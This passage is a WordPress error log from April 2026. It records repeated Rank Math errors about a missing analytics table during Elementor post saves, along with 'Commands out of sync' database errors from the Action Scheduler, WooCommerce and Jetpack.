ActionScheduler_OptionLock->set, ActionScheduler_OptionLock->get_existing_lock [24-Apr-2026 20:20:30 UTC] WordPress database error Commands out of sync; you can't run this command now for query INSERT INTO `wpuz_options` (`option_name`, `option_value`, `autoload`) VALUES ('action_scheduler_lock_async-request-runner', '69ebd08e998164.02634281|1777062090', 'no') made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, ActionScheduler_QueueRunner->maybe_dispatch_async_request, ActionScheduler_OptionLock->set [24-Apr-2026 20:26:21 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1276 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [24-Apr-2026 20:26:22 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1276 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [24-Apr-2026 20:28:24 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1276 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [24-Apr-2026 20:28:24 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1276 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [24-Apr-2026 20:46:59 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, Elementor\Core\Settings\Page\Manager->save_post_status, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [24-Apr-2026 20:47:01 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1277 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, Elementor\Core\Settings\Page\Manager->save_post_status, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [24-Apr-2026 20:47:04 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [24-Apr-2026 20:47:04 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1278 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [24-Apr-2026 20:47:06 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [24-Apr-2026 20:47:06 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1279 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [24-Apr-2026 20:57:16 UTC] WordPress database error Commands out of sync; you can't run this command now for query SELECT a.action_id FROM wpuz_actionscheduler_actions a WHERE 1=1 AND a.hook='wc_schedule_pending_batch_processes' AND a.status IN ('in-progress', 'pending') LIMIT 0, 1 made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, Automattic\WooCommerce\Internal\BatchProcessing\BatchProcessingController->Automattic\WooCommerce\Internal\BatchProcessing\{closure}, Automattic\WooCommerce\Internal\BatchProcessing\BatchProcessingController->remove_or_retry_failed_processors, call_user_func, as_has_scheduled_action, ActionScheduler_Store->query_action, ActionScheduler_DBStore->query_actions [24-Apr-2026 20:57:16 UTC] WordPress database error Commands out of sync; you can't run this command now for query SELECT option_value FROM wpuz_options WHERE option_name = 'wc_pending_batch_processes' LIMIT 1 made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, Automattic\WooCommerce\Internal\BatchProcessing\BatchProcessingController->Automattic\WooCommerce\Internal\BatchProcessing\{closure}, Automattic\WooCommerce\Internal\BatchProcessing\BatchProcessingController->remove_or_retry_failed_processors, Automattic\WooCommerce\Internal\BatchProcessing\BatchProcessingController->get_enqueued_processors, get_option [24-Apr-2026 20:57:16 UTC] WordPress database error Commands out of sync; you can't run this command now for query SELECT option_value FROM wpuz_options WHERE option_name = 'action_scheduler_lock_async-request-runner' made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, ActionScheduler_QueueRunner->maybe_dispatch_async_request, ActionScheduler_Lock->is_locked, ActionScheduler_OptionLock->get_expiration, ActionScheduler_OptionLock->get_existing_lock [24-Apr-2026 20:57:16 UTC] WordPress database error Commands out of sync; you can't run this command now for query SELECT option_value FROM wpuz_options WHERE option_name = 'action_scheduler_lock_async-request-runner' made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, ActionScheduler_QueueRunner->maybe_dispatch_async_request, ActionScheduler_OptionLock->set, ActionScheduler_OptionLock->get_existing_lock [24-Apr-2026 20:57:16 UTC] WordPress database error Commands out of sync; you can't run this command now for query INSERT INTO `wpuz_options` (`option_name`, `option_value`, `autoload`) VALUES ('action_scheduler_lock_async-request-runner', '69ebd92c4d7266.42366568|1777064296', 'no') made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, ActionScheduler_QueueRunner->maybe_dispatch_async_request, ActionScheduler_OptionLock->set [24-Apr-2026 20:57:56 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 24 made by wp_trash_post, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [24-Apr-2026 21:00:43 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1219 made by wp_trash_post, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [24-Apr-2026 21:00:43 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1280 made by wp_trash_post, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [24-Apr-2026 21:02:14 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_inline-save'), WP_Hook->do_action, WP_Hook->apply_filters, wp_ajax_inline_save, edit_post, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [24-Apr-2026 21:02:14 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1281 made by do_action('wp_ajax_inline-save'), WP_Hook->do_action, WP_Hook->apply_filters, wp_ajax_inline_save, edit_post, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [24-Apr-2026 21:07:41 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1282 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->get_autosave, wp_create_post_autosave, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [24-Apr-2026 21:07:41 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1282 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [24-Apr-2026 21:07:41 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1282 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [24-Apr-2026 21:13:51 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1282 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [24-Apr-2026 21:13:51 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1282 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [24-Apr-2026 21:16:42 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1282 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [24-Apr-2026 21:16:42 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1282 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [24-Apr-2026 21:18:05 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, Elementor\Core\Settings\Page\Manager->save_post_status, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [24-Apr-2026 21:18:06 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1283 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, Elementor\Core\Settings\Page\Manager->save_post_status, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [24-Apr-2026 21:18:06 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [24-Apr-2026 21:18:06 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1284 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [24-Apr-2026 21:18:08 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [24-Apr-2026 21:18:08 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1285 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [24-Apr-2026 21:32:08 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by edit_post, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [24-Apr-2026 21:37:48 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by edit_post, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [24-Apr-2026 21:39:14 UTC] WordPress database error Commands out of sync; you can't run this command now for query INSERT INTO `wpuz_options` (`option_name`, `option_value`, `autoload`) VALUES ('rank_math_notifications', 'a:1:{i:0;a:2:{s:7:\"message\";s:403:\"Rank Math has detected new post types: <code>elementor-hf</code>, <code>sureforms_form</code>. You may want to check the settings of the <a href=\"https://j92labs.co.za/wp-admin/admin.php?page=rank-math-options-titles&view=post-type-elementor-hf\">Titles & Meta page</a> and <a href=\"https://j92labs.co.za/wp-admin/admin.php?page=rank-math-options-sitemap&view=post-type-elementor-hf\">the Sitemap</a>.\";s:7:\"options\";a:5:{s:2:\"id\";s:13:\"new_post_type\";s:7:\"classes\";s:16:\"rank-math-notice\";s:4:\"type\";s:4:\"info\";s:6:\"screen\";s:3:\"any\";s:10:\"capability\";s:0:\"\";}}}', 'auto') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`) made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Admin\Notifications\Notification_Center->update_storage, update_option, add_option [24-Apr-2026 21:39:14 UTC] WordPress database error Commands out of sync; you can't run this command now for query SELECT option_name, option_value FROM wpuz_options WHERE option_name IN ('_transient_timeout_jetpack_autoloader_plugin_paths') made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, Automattic\Jetpack\Autoloader\jp90ed36edb0b4a076cd12d3db7480bdef\al5_0_0\Shutdown_Handler->__invoke, Automattic\Jetpack\Autoloader\jp90ed36edb0b4a076cd12d3db7480bdef\al5_0_0\Plugins_Handler->cache_plugins, set_transient, wp_prime_option_caches [24-Apr-2026 21:39:14 UTC] WordPress database error Commands out of sync; you can't run this command now for query SELECT autoload FROM wpuz_options WHERE option_name = '_transient_jetpack_autoloader_plugin_paths' LIMIT 1 made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, Automattic\Jetpack\Autoloader\jp90ed36edb0b4a076cd12d3db7480bdef\al5_0_0\Shutdown_Handler->__invoke, Automattic\Jetpack\Autoloader\jp90ed36edb0b4a076cd12d3db7480bdef\al5_0_0\Plugins_Handler->cache_plugins, set_transient, update_option [24-Apr-2026 21:39:14 UTC] WordPress database error Commands out of sync; you can't run this command now for query UPDATE `wpuz_options` SET `option_value` = 'a:1:{i:0;s:29:\"{{WP_PLUGIN_DIR}}/woocommerce\";}' WHERE `option_name` = '_transient_jetpack_autoloader_plugin_paths' made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, Automattic\Jetpack\Autoloader\jp90ed36edb0b4a076cd12d3db7480bdef\al5_0_0\Shutdown_Handler->__invoke, Automattic\Jetpack\Autoloader\jp90ed36edb0b4a076cd12d3db7480bdef\al5_0_0\Plugins_Handler->cache_plugins, set_transient, update_option [24-Apr-2026 21:39:14 UTC] WordPress database error Commands out of sync; you can't run this command now for query SELECT a.action_id FROM wpuz_actionscheduler_actions a 